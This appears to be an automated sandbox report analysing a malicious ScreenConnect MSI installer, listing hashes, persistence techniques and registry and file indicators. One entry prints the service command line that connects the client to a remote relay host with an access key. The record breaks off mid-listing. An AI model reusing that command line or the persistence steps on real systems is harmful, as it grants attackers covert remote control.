Analysis
- max time kernel
110s - max time network
122s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260629-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260629-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
05/07/2026, 00:16
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
ScreenConnect.ClientSetup%20%2817%29%20%281%29.msi
Resource
win10v2004-20260513-en
windows10-2004-x64
22 signatures
150 seconds
Behavioral task
behavioral2
Sample
ScreenConnect.ClientSetup%20%2817%29%20%281%29.msi
Resource
win11ltsc2024-20260629-en
windows11-ltsc_2024-x64
27 signatures
150 seconds
General
- Target ScreenConnect.ClientSetup%20%2817%29%20%281%29.msi
- Size 4.8MB
- Sample260705-akxtbsft4y
- SHA256 0fb32dc1d635993ca59dbb513610c7ea0386d8ee8ca3fc7659aa62bf306ce801
- MD5 6a78da030c67126be899e67f60a45d83
- SHA1 7f92a8736168f7aa2748686abc48291de8b3283c
- SHA512 c747e3078e67002942fcceb4575b207d9e20ac9348f3983f9a57d3d7013c81d8230881d7cd435063030247051780ae8c8c65dd2c89faa099f630361709999b61
- SSDEEP 98304:78kKNISgtAwGVoqryAqqlDQg+lg6xBV1P5gbnBqE9tsHf800dX2DSJ9:7NK+tr0yANlDdd6xBHGbQE9d00AG
- TLSH T14136BE212799813AD2F916703939E675312AFD7CCB6068EB3E9E3BD9353D5C10236A13
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs
Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.
description ioc Process Key created \REGISTRY\USER\S-1-5-21-1991999443-3181470666-3272020885-1000\Software\Microsoft\Active Setup\Installed Components explorer.exe - Sets service image path in registry 3 TTPs 1 IoCs
This determines the executable launched when a service starts. It can be used to establish persistence.
description ioc Process Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\ScreenConnect Client (5ee602d3c477757f)\ImagePath = "\"C:\\Program Files (x86)\\ScreenConnect Client (5ee602d3c477757f)\\ScreenConnect.ClientService.exe\" \"?e=Access&y=Guest&h=relays.teamsupdatevipapi0274.us&p=8041&s=3d01fa6c-113d-42e0-b1a0-b64371d16570&k=BgIAAACkAABSU0ExAAgAAAEAAQAVabycuWi%2f7lyJLoh11Qj1Cq5CVJ%2bVuScNNNGuiC9UGJLvHaj0X%2b6gclkT%2fcjS02p8mijmYpYttTDewuFp%2bvY1Buxm26B7KFgfW2khyXv6ib3aqTBbjQC5muTSJ2207dOdkF6gNeZNeQ2ecDkaAYuboNEBvOlO0nfJZIael%2f135yu4oTzLUNG8d6vL2xJSiM1%2burlDwERDVfHlwfC%2f18MEDiDfUgwQUA0rOBUpi1a3jb5%2bAxEzx%2bpoGam8cKu8dxs8IKtZvHVTwp1OoFZTWPcq2kDBJY3c7UCIB%2bWnQXDPvu0%2f9Dxe8fjABQmgy%2ftZYM7EgQerUl8tlF21L0M0ufyq&v=AQAAANCMnd8BFdERjHoAwE%2fCl%2bsBAAAAfWyMN0hJAUq5%2f%2fNR37w5CgAAAAACAAAAAAAQZgAAAAEAACAAAAB%2bu7TbVJY9eVxGFAYPOrBmBcfen9ODa6acqN8tlmR%2b4wAAAAAOgAAAAAIAACAAAABYYOX6DPn%2fes%2fs%2bKBOH%2fMafq9zmKWGOjiSvMAVRp1BLaAEAADzPqReJfLQ109SjBjnJIcMQ1wLbgXrrPW9KYbAk8r9uNepLvuXGfbsXdJ2ft39WNOuEG5tc0WBZSIjeZ8C3vJndApWdIz5Q9nLzaJsUfYFs1ZtLU1Ju%2fqXuOFXzYRvwWgumHzRKQDGzpFm14bpR0UEG2HKRFYy8pY%2f%2folJY%2f1SvAbkYoZdxurp0onjN8h1HxGzr%2fMeomHGv5%2buK3lcdXYmUWxjvt8QSSrWH6AWR4uIpRDmN5g6eMME6oe2YrZ5oWKy9HpUDmO9jccDbMr7ae0FdxQdxzlyiWHROu2k%2fjcmo8xNMFAC23oNl0r9Q2%2bZ6s2uemlOrq9nCWsVhLeLfxIE3n57vbttGz78Uch3UzCw2hZ8zHRVQNEsD7TLn2HYeEgu4DiERgyGQSJ9tCWdkVsLxcd%2faBA81q24q25ufpzPmlxuuoBTSZtD4KF42OO%2bl0ZBlQwbfszMhoLsFzg6FHOtAd7MxBbLydXIhERmqvRujwZFRnGmKKDmFKtXUyxG9%2bYUbUmDadttv0drHecIdWssR7GdmQutY3cqYNLPITgaKLcDigr%2flo1fFHUGq4ttTejF36Ah0lG5ghLR%2bITBRQnjLkO2Cvg6r27com3HIM1Hj0kBGcRqFJC4h976l4egSh%2fie88DGNMRwHEoUUc6%2bIFg4Lbi1NhV9DgCOMR0Ecc7j2MKcDm%2fbYBI9n8KLZJauJzrB3qc05qlTY1FgyvdO4iCdS4%2bhENMQ3CXlQhKIdDTluu9eP%2fVLSnUMjyL4AIUZsLOFPAP2ppBOl1cCY7jeV%2f6dI%2fAUTQ2BD6L%2fLpCbnOtil4agPmDuA%2fdrQfWaFfq8g3jvG%2fZzHeWqYe5GSsfECK6lnOJmsEpzhXvOAh%2btiC9auK1sWe0tc5gfSqVKCjtUW1qd7rZOOk8x6X1mSonEoKwS4RspxdUr5QA6OTzTQ3nXdUeGv4doJFzzfJ4xuAnOmnXaWX1oELr%2f8gs3D6FCw9OV2COuBYmLA3nGheZ2mcykGWWT5ZiPZOh7Bx%2f5m%2bAvWjCYXFAizlHkoHJRnq7pERKPRaTka6NY1hLqB%2ftILRjHizuIIPvu%2fPqd2hKf3YpE2MdWs3%2fqTVm%2fMVu4Nq45x5zE4PtsgphokyeeIrHwW1ic2uXlf5PJafbvNX%2bQoIF7lsAzN8gFgg%2f1XVgY2yV35qVLTwKZUF2B1IC6TNdlcGB0yJv03zj1%2b51b%2bGnfeueZ8YA65MvbP8YCAmwOeAfG64PgzmQj9wvJqwKy2Um6KFyZCFpHzKQpTXurilFwVnyWHv7fdm7OdpnMuzhQ7G1Ia%2f9W9l0M2i1H6IVeaXSaE1wGMSnZFvKjbsrj8kWqGnkxV95cfoNw7MJ2P3hAG%2fMfc%2f%2bvPk1RLSBK%2fAWjzwMlrzW9qitXo6qoRvXocgLU1JXoHTbArfTxDemdG4VWMjzs8DeKUkeUcI5jN%2bQkZ%2bP1ZWDWYJimQ7UTSsrk1agNk3WUUZSVAvA4QhKeIWPayNWU0CiaRtizWR17nluHBbI0JhYiU9AfUOdYCXKHiG828NStqLjosZwbXHdVFX4mlRnM4z7nBeoebR4InxO2R30Wg9%2f90AAAAALPEHecD%2bnQXNOB9pIBoc2wO9PeYGX1s0t%2f4cmz8r%2bTQnFZbpX5%2fNgNsNCx6KLpoxXG75ifk5eTZnTuAYfUrdn\"" ScreenConnect.ClientService.exe - Signed with revoked ConnectWise certificate 2 IoCs
Binary is signed using a ConnectWise certificate revoked for key compromise.
resource yara_rule behavioral2/memory/1276-114-0x0000000004B90000-0x0000000004C65000-memory.dmp revoked_cert_connectwise behavioral2/files/0x000d00000001c4c4-113.dat revoked_cert_connectwise - Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
- Executes dropped EXE 3 IoCs
pid Process 1276 ScreenConnect.ClientService.exe 1860 ScreenConnect.WindowsClient.exe 5384 ScreenConnect.WindowsClient.exe - Loads dropped DLL 23 IoCs
pid Process 3264 MsiExec.exe 3264 MsiExec.exe 1816 rundll32.exe 1816 rundll32.exe 1816 rundll32.exe 1816 rundll32.exe 1816 rundll32.exe 1816 rundll32.exe 1816 rundll32.exe 1816 rundll32.exe 1816 rundll32.exe 356 MsiExec.exe 4608 MsiExec.exe 1276 ScreenConnect.ClientService.exe 1276 ScreenConnect.ClientService.exe 1276 ScreenConnect.ClientService.exe 1276 ScreenConnect.ClientService.exe 1276 ScreenConnect.ClientService.exe 1276 ScreenConnect.ClientService.exe 1276 ScreenConnect.ClientService.exe 1276 ScreenConnect.ClientService.exe 1276 ScreenConnect.ClientService.exe 1276 ScreenConnect.ClientService.exe - Enumerates connected drives 3 TTPs 48 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\E: explorer.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\D: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\D: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\F: explorer.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\I: msiexec.exe - Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs
Suspicious Windows Authentication Registry Modification.
description ioc Process Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Lsa\Authentication Packages = 6d007300760031005f003000000043003a005c00500072006f006700720061006d002000460069006c00650073002000280078003800360029005c00530063007200650065006e0043006f006e006e00650063007400200043006c00690065006e00740020002800350065006500360030003200640033006300340037003700370035003700660029005c00530063007200650065006e0043006f006e006e006500630074002e00570069006e0064006f0077007300410075007400680065006e007400690063006100740069006f006e005000610063006b006100670065002e0064006c006c0000000000 msiexec.exe - Drops file in System32 directory 2 IoCs
description ioc Process File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (5ee602d3c477757f)\yzkpevp2.tmp ScreenConnect.ClientService.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (5ee602d3c477757f)\yzkpevp2.newcfg ScreenConnect.ClientService.exe - Drops file in Program Files directory 19 IoCs
description ioc Process File created C:\Program Files (x86)\ScreenConnect Client (5ee602d3c477757f)\ScreenConnect.Windows.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (5ee602d3c477757f)\ScreenConnect.WindowsAuthenticationPackage.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (5ee602d3c477757f)\ScreenConnect.WindowsBackstageShell.exe.config msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (5ee602d3c477757f)\ScreenConnect.WindowsFileManager.exe msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (5ee602d3c477757f)\ScreenConnect.ClientService.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (5ee602d3c477757f)\ScreenConnect.Core.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (5ee602d3c477757f)\ScreenConnect.WindowsBackstageShell.exe msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (5ee602d3c477757f)\ScreenConnect.WindowsClient.exe.config msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (5ee602d3c477757f)\ScreenConnect.WindowsCredentialProvider.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (5ee602d3c477757f)\app.config msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (5ee602d3c477757f)\system.config msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (5ee602d3c477757f)\ScreenConnect.ClientService.exe msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (5ee602d3c477757f)\ScreenConnect.WindowsClient.exe msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (5ee602d3c477757f)\ScreenConnect.WindowsFileManager.exe.config msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (5ee602d3c477757f)\Client.en-US.resources msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (5ee602d3c477757f)\Client.Override.en-US.resources msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (5ee602d3c477757f)\Client.Override.resources msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (5ee602d3c477757f)\Client.resources msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (5ee602d3c477757f)\ScreenConnect.Client.dll msiexec.exe - Drops file in Windows directory 17 IoCs
description ioc Process File created C:\Windows\Installer\wix{28F3C3DF-4018-1525-5B35-50C96A5F81BF}.SchedServiceConfig.rmi MsiExec.exe File created C:\Windows\Installer\e596141.msi msiexec.exe File opened for modification C:\Windows\Installer\e596141.msi msiexec.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File created C:\Windows\SystemTemp\~DF56A71B0C4CDC9742.TMP msiexec.exe File opened for modification C:\Windows\Installer\MSI6818.tmp msiexec.exe File created C:\Windows\SystemTemp\~DF4F25352E30336C7B.TMP msiexec.exe File created C:\Windows\SystemTemp\~DF2A384F4C0CC54E1E.TMP msiexec.exe File created C:\Windows\Installer\e596143.msi msiexec.exe File created C:\Windows\Installer\{28F3C3DF-4018-1525-5B35-50C96A5F81BF}\mspic.exe msiexec.exe File opened for modification C:\Windows\Installer\{28F3C3DF-4018-1525-5B35-50C96A5F81BF}\mspic.exe msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe File created C:\Windows\Installer\SourceHash{28F3C3DF-4018-1525-5B35-50C96A5F81BF} msiexec.exe File opened for modification C:\Windows\Installer\MSI6A6A.tmp msiexec.exe File created C:\Windows\SystemTemp\~DF2852B0A05D611792.TMP msiexec.exe File opened for modification C:\Windows\Installer\MSI67B9.tmp msiexec.exe - Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
pid Process 4272 msiexec.exe - System Location Discovery: System Language Discovery 1 TTPs 5 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language rundll32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language ScreenConnect.ClientService.exe - Checks SCSI registry key(s) 3 TTPs 64 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\HardwareID explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Capabilities explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}\0002 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0009 explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Capabilities explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\FriendlyName explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{259abffc-50a7-47ce-af08-68c9a7d73366}\000C explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0002 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0009 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0009 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\007A explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{a45c254e-df1c-4efd-8020-67d146a850e0}\0011 explorer.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 0000000004000000611f050cfb2bdaef0000000000000000000000000000000000000000000000000000000000000000000000000000000000001071020000000000c0120000000000000000000000002701010000883801611f050c0000000000001071020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d0830200000000006025c501000000000000000000000700010000e84101611f050c000000000000d08302000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9c701000000000000050000000000000000000000070001000098d4e3611f050c00000000000030a9c7010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9cc0100000000000005000000000000000000000007000100009854e6611f050c00000000000030a9cc01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{259abffc-50a7-47ce-af08-68c9a7d73366}\000C explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\0064 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\007A explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0004 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{259abffc-50a7-47ce-af08-68c9a7d73366}\000C explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}\0003 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}\0003 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\005A explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\HardwareID explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002 explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\FriendlyName explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\ConfigFlags explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{259abffc-50a7-47ce-af08-68c9a7d73366}\000C explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0009 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{cf73bb51-3abf-44a2-85e0-9a3dc7a12132}\0006 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\0064 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}\0002 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\005A explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A explorer.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr vssvc.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\UpperFilters explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\005A explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\0064 explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\UpperFilters explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{cf73bb51-3abf-44a2-85e0-9a3dc7a12132}\0006 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\007A explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{a45c254e-df1c-4efd-8020-67d146a850e0}\0011 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0004 explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Capabilities explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Capabilities explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0004 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{cf73bb51-3abf-44a2-85e0-9a3dc7a12132}\0006 explorer.exe Key opened 